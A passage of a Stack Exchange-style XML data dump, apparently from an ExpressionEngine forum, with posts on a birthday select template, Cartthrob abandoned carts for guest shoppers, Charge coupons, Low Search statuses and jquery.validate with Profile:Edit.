&quot;7&quot;}selected=&quot;selected&quot;{/if}&amp;gt;7&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;8&quot; {if bday_d == &quot;8&quot;}selected=&quot;selected&quot;{/if}&amp;gt;8&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;9&quot; {if bday_d == &quot;9&quot;}selected=&quot;selected&quot;{/if}&amp;gt;9&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;10&quot; {if bday_d == &quot;10&quot;}selected=&quot;selected&quot;{/if}&amp;gt;10&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;11&quot; {if bday_d == &quot;11&quot;}selected=&quot;selected&quot;{/if}&amp;gt;11&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;12&quot; {if bday_d == &quot;12&quot;}selected=&quot;selected&quot;{/if}&amp;gt;12&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;13&quot; {if bday_d == &quot;13&quot;}selected=&quot;selected&quot;{/if}&amp;gt;13&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;14&quot; {if bday_d == &quot;14&quot;}selected=&quot;selected&quot;{/if}&amp;gt;14&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;15&quot; {if bday_d == &quot;15&quot;}selected=&quot;selected&quot;{/if}&amp;gt;15&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;16&quot; {if bday_d == &quot;16&quot;}selected=&quot;selected&quot;{/if}&amp;gt;16&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;17&quot; {if bday_d == &quot;17&quot;}selected=&quot;selected&quot;{/if}&amp;gt;17&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;18&quot; {if bday_d == &quot;18&quot;}selected=&quot;selected&quot;{/if}&amp;gt;18&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;19&quot; {if bday_d == &quot;19&quot;}selected=&quot;selected&quot;{/if}&amp;gt;19&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;20&quot; {if bday_d == &quot;20&quot;}selected=&quot;selected&quot;{/if}&amp;gt;20&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;21&quot; {if bday_d == &quot;21&quot;}selected=&quot;selected&quot;{/if}&amp;gt;21&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;22&quot; {if bday_d == &quot;22&quot;}selected=&quot;selected&quot;{/if}&amp;gt;22&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;23&quot; {if bday_d == &quot;23&quot;}selected=&quot;selected&quot;{/if}&amp;gt;23&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;24&quot; {if bday_d == &quot;24&quot;}selected=&quot;selected&quot;{/if}&amp;gt;24&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;25&quot; {if bday_d == &quot;25&quot;}selected=&quot;selected&quot;{/if}&amp;gt;25&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;26&quot; {if bday_d == &quot;26&quot;}selected=&quot;selected&quot;{/if}&amp;gt;26&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;27&quot; {if bday_d == &quot;27&quot;}selected=&quot;selected&quot;{/if}&amp;gt;27&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;28&quot; {if bday_d == &quot;28&quot;}selected=&quot;selected&quot;{/if}&amp;gt;28&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;29&quot; {if bday_d == &quot;29&quot;}selected=&quot;selected&quot;{/if}&amp;gt;29&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;30&quot; {if bday_d == &quot;30&quot;}selected=&quot;selected&quot;{/if}&amp;gt;30&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;31&quot; {if bday_d == &quot;31&quot;}selected=&quot;selected&quot;{/if}&amp;gt;31&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;&#xA;                        &amp;lt;select name=&quot;bday_y&quot; id=&quot;bday_y&quot; class=&quot;form-control&quot; style=&quot;width:27%;display:inline-block;&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2006&quot; {if bday_y == &quot;2006&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2006&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2005&quot; {if bday_y == &quot;2005&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2005&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2004&quot; {if bday_y == &quot;2004&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2004&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2003&quot; {if bday_y == &quot;2003&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2003&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2002&quot; {if bday_y == &quot;2002&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2002&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2001&quot; {if bday_y == &quot;2001&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2001&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;2000&quot; {if bday_y == &quot;2000&quot;}selected=&quot;selected&quot;{/if}&amp;gt;2000&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1999&quot; {if bday_y == &quot;1999&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1999&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1998&quot; {if bday_y == &quot;1998&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1998&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1997&quot; {if bday_y == &quot;1997&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1997&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1996&quot; {if bday_y == &quot;1996&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1996&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1995&quot; {if bday_y == &quot;1995&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1995&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1994&quot; {if bday_y == &quot;1994&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1994&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1993&quot; {if bday_y == &quot;1993&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1993&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1992&quot; {if bday_y == &quot;1992&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1992&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1991&quot; {if bday_y == &quot;1991&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1991&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1990&quot; {if bday_y == &quot;1990&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1990&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1989&quot; {if bday_y == &quot;1989&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1989&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1988&quot; {if bday_y == &quot;1988&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1988&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1987&quot; {if bday_y == &quot;1987&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1987&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1986&quot; {if bday_y == &quot;1986&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1986&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1985&quot; {if bday_y == &quot;1985&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1985&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1984&quot; {if bday_y == &quot;1984&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1984&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1983&quot; {if bday_y == &quot;1983&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1983&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1982&quot; {if bday_y == &quot;1982&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1982&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1981&quot; {if bday_y == &quot;1981&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1981&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1980&quot; {if bday_y == &quot;1980&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1980&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1979&quot; {if bday_y == &quot;1979&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1979&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1978&quot; {if bday_y == &quot;1978&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1978&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1977&quot; {if bday_y == &quot;1977&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1977&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1976&quot; {if bday_y == &quot;1976&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1976&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1975&quot; {if bday_y == &quot;1975&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1975&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1974&quot; {if bday_y == &quot;1974&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1974&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1973&quot; {if bday_y == &quot;1973&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1973&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1972&quot; {if bday_y == &quot;1972&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1972&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1971&quot; {if bday_y == &quot;1971&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1971&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1970&quot; {if bday_y == &quot;1970&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1970&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1969&quot; {if bday_y == &quot;1969&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1969&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1968&quot; {if bday_y == &quot;1968&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1968&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1967&quot; {if bday_y == &quot;1967&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1967&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1966&quot; {if bday_y == &quot;1966&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1966&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1965&quot; {if bday_y == &quot;1965&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1965&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1964&quot; {if bday_y == &quot;1964&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1964&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1963&quot; {if bday_y == &quot;1963&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1963&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1962&quot; {if bday_y == &quot;1962&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1962&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1961&quot; {if bday_y == &quot;1961&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1961&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1960&quot; {if bday_y == &quot;1960&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1960&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1959&quot; {if bday_y == &quot;1959&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1959&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1958&quot; {if bday_y == &quot;1958&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1958&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1957&quot; {if bday_y == &quot;1957&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1957&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1956&quot; {if bday_y == &quot;1956&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1956&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1955&quot; {if bday_y == &quot;1955&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1955&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1954&quot; {if bday_y == &quot;1954&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1954&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1953&quot; {if bday_y == &quot;1953&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1953&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1952&quot; {if bday_y == &quot;1952&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1952&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1951&quot; {if bday_y == &quot;1951&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1951&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1950&quot; {if bday_y == &quot;1950&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1950&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1949&quot; {if bday_y == &quot;1949&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1949&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1948&quot; {if bday_y == &quot;1948&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1948&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1947&quot; {if bday_y == &quot;1947&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1947&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1946&quot; {if bday_y == &quot;1946&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1946&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1945&quot; {if bday_y == &quot;1945&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1945&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1944&quot; {if bday_y == &quot;1944&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1944&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1943&quot; {if bday_y == &quot;1943&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1943&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1942&quot; {if bday_y == &quot;1942&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1942&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1941&quot; {if bday_y == &quot;1941&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1941&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1940&quot; {if bday_y == &quot;1940&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1940&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1939&quot; {if bday_y == &quot;1939&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1939&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1938&quot; {if bday_y == &quot;1938&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1938&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1937&quot; {if bday_y == &quot;1937&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1937&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1936&quot; {if bday_y == &quot;1936&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1936&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1935&quot; {if bday_y == &quot;1935&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1935&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1934&quot; {if bday_y == &quot;1934&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1934&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1933&quot; {if bday_y == &quot;1933&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1933&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1932&quot; {if bday_y == &quot;1932&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1932&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1931&quot; {if bday_y == &quot;1931&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1931&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1930&quot; {if bday_y == &quot;1930&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1930&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1929&quot; {if bday_y == &quot;1929&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1929&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1928&quot; {if bday_y == &quot;1928&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1928&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1927&quot; {if bday_y == &quot;1927&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1927&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1926&quot; {if bday_y == &quot;1926&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1926&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1925&quot; {if bday_y == &quot;1925&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1925&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1924&quot; {if bday_y == &quot;1924&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1924&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1923&quot; {if bday_y == &quot;1923&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1923&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1922&quot; {if bday_y == &quot;1922&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1922&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1921&quot; {if bday_y == &quot;1921&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1921&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1920&quot; {if bday_y == &quot;1920&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1920&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1919&quot; {if bday_y == &quot;1919&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1919&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1918&quot; {if bday_y == &quot;1918&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1918&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1917&quot; {if bday_y == &quot;1917&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1917&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1916&quot; {if bday_y == &quot;1916&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1916&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1915&quot; {if bday_y == &quot;1915&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1915&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1914&quot; {if bday_y == &quot;1914&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1914&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1913&quot; {if bday_y == &quot;1913&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1913&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1912&quot; {if bday_y == &quot;1912&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1912&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1911&quot; {if bday_y == &quot;1911&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1911&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1910&quot; {if bday_y == &quot;1910&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1910&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1909&quot; {if bday_y == &quot;1909&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1909&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1908&quot; {if bday_y == &quot;1908&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1908&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1907&quot; {if bday_y == &quot;1907&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1907&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1906&quot; {if bday_y == &quot;1906&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1906&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;1905&quot; {if bday_y == &quot;1905&quot;}selected=&quot;selected&quot;{/if}&amp;gt;1905&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-11-18T07:37:12.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34770" PostTypeId="2" ParentId="23912" CreationDate="2015-11-18T09:26:38.203" Score="2" Body="&lt;p&gt;My recommendation would be to look at &lt;a href=&quot;https://github.com/croxton/cat2&quot; rel=&quot;nofollow&quot;&gt;Cat2&lt;/a&gt; and Low &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Seg2Cat&lt;/a&gt; (if you need to infer category data from a URL segment).&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2015-11-18T09:26:38.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34771" PostTypeId="1" CreationDate="2015-11-18T10:14:03.027" Score="1" ViewCount="86" Body="&lt;p&gt;Has anyone been able to get the Cartthrob abandoned cart plugin to work for &quot;guest&quot; shoppers (i.e. they aren't logged in with an account)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkout process is a single form to enter address details which then goes to an offsite payment gateway. I was hoping that once the address details were completed the user's email would be logged against their cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that the plugin would do this out of the box but it doesn't appear to be the case. It will only store the email address if the user is logged in (the abandoned cart email function worked perfectly in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just doing something wrong, is this a bug, or is it just something that the plugin doesn't do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried creating an account on checkout but this doesn't seem to happen until after the checkout process is complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation isn't amazing and doesn't really clarify how the plugin &lt;strong&gt;should&lt;/strong&gt; work. However it &lt;strong&gt;does&lt;/strong&gt; mention guest checkouts which indicates that this should work as I expected. Do I have unrealistic expectations of this $500 plugin! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a support request in with Cartthrob/Vector but haven't heard anything back yet and I'm keen to try and resolve the issue one way or the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&#xA;I've hacked around this problem for now by modifying Cartthrob's checkout method to add the customer's email address to the cart when they checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the plugin only adds the email when the add to cart method is called. So obviously if they haven't entered an email at that time it will never work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the behaviour could be triggered on other actions that would make it much easier to log the email address and make this plugin more useful.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-11-18T12:00:16.367" LastActivityDate="2015-11-18T12:00:16.367" Title="Cartthrob abandoned carts for non-logged in users" Tags="|cartthrob|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34772" PostTypeId="2" ParentId="34757" CreationDate="2015-11-18T14:29:25.650" Score="0" Body="&lt;p&gt;This is not possible, unless we have free shipping on the physical products. Currently modifiers can not change the postage, so you always have the same shipping amount per entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would be multiple entries, then perhaps relate these to a 'parent' that houses the 'shared' details.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-11-18T14:29:25.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34773" PostTypeId="1" AcceptedAnswerId="35548" CreationDate="2015-11-18T14:32:45.920" Score="0" ViewCount="61" Body="&lt;p&gt;I'm using Charge to provide a payment mechanism on a website I'm working on. I'm also using the 'coupons' in Charge to provide a means for users to apply a discount to a purchase at the point of payment. However I would like to validate and display the discount on the payment page before the users submits so they can be sure that the discount has been applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bespoke module which I am using to create and manage my basket so I'm not adverse to writing a Stripe API call if required but wondered if perhaps I was missing something that's already built into charge by default?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2016-02-12T12:24:33.337" Title="Show coupon value before submitting payment with Charge" Tags="|ajax|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34775" PostTypeId="1" CreationDate="2015-11-18T15:55:08.413" Score="0" ViewCount="89" Body="&lt;p&gt;Search results are not showing from entries with a custom status. This is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot; status=&quot;open|Home&quot; disable=&quot;member_data|category_fields&quot; channel=&quot;news-post&quot; orderby_sort=&quot;entry_date|desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change the status of the entry from 'Home' to 'open' it appears in results.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="2024" LastEditDate="2015-11-19T13:54:25.943" LastActivityDate="2015-11-19T13:54:25.943" Title="Low Search: not showing results from custom status" Tags="|low-search|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34776" PostTypeId="1" AcceptedAnswerId="34801" CreationDate="2015-11-18T17:26:34.050" Score="0" ViewCount="486" Body="&lt;p&gt;Does anyone have jquery.validate working with Profile:Edit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form set up with jquery validation working using jquery.validate.js, everything working as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I try to use the {exp:profile:register}{/exp:profile:register} tags the JS stops working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stripped my form down to a single element to try and identify where I am going wrong. If I comment-out the exp:profile:register tags the JS works, but with the tags in-place Profile:edit registration works but no JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:register id=&quot;register&quot; return=&quot;account&quot;}&#xA;&amp;lt;h1&amp;gt;Register&amp;lt;/h1&amp;gt;&#xA;&amp;lt;legend&amp;gt;Login details&amp;lt;/legend&amp;gt;&#xA;&amp;lt;form class=&quot;form-horizontal&quot; id=&quot;signupForm&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;email&quot;&amp;gt;Email &amp;lt;/label&amp;gt;&#xA;&amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;email&quot; class=&quot;required form-control&quot;&amp;gt;&#xA;&amp;lt;input class=&quot;btn btn-default&quot; type=&quot;submit&quot; value=&quot;Register&quot; id=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&amp;lt;!-- form --&amp;gt;&#xA;{/exp:profile:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$().ready(function() {&#xA;    // validate signup form on keyup and submit&#xA;    $(&quot;#signupForm&quot;).validate({&#xA;        rules: {&#xA;            email: {&#xA;                required: true,&#xA;                email: true&#xA;            },&#xA;        },&#xA;        errorPlacement: function(error, element) {&#xA;        // Append error within linked label&#xA;        $( element )&#xA;            .closest( &quot;form&quot; )&#xA;                .find( &quot;label[for='&quot; + element.attr( &quot;id&quot; ) + &quot;']&quot; )&#xA;                    .append( error );&#xA;        },&#xA;        errorElement: &quot;span&quot;,&#xA;        messages: {&#xA;            email: &quot;Please enter a valid email address&quot;&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be massively appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="6859" 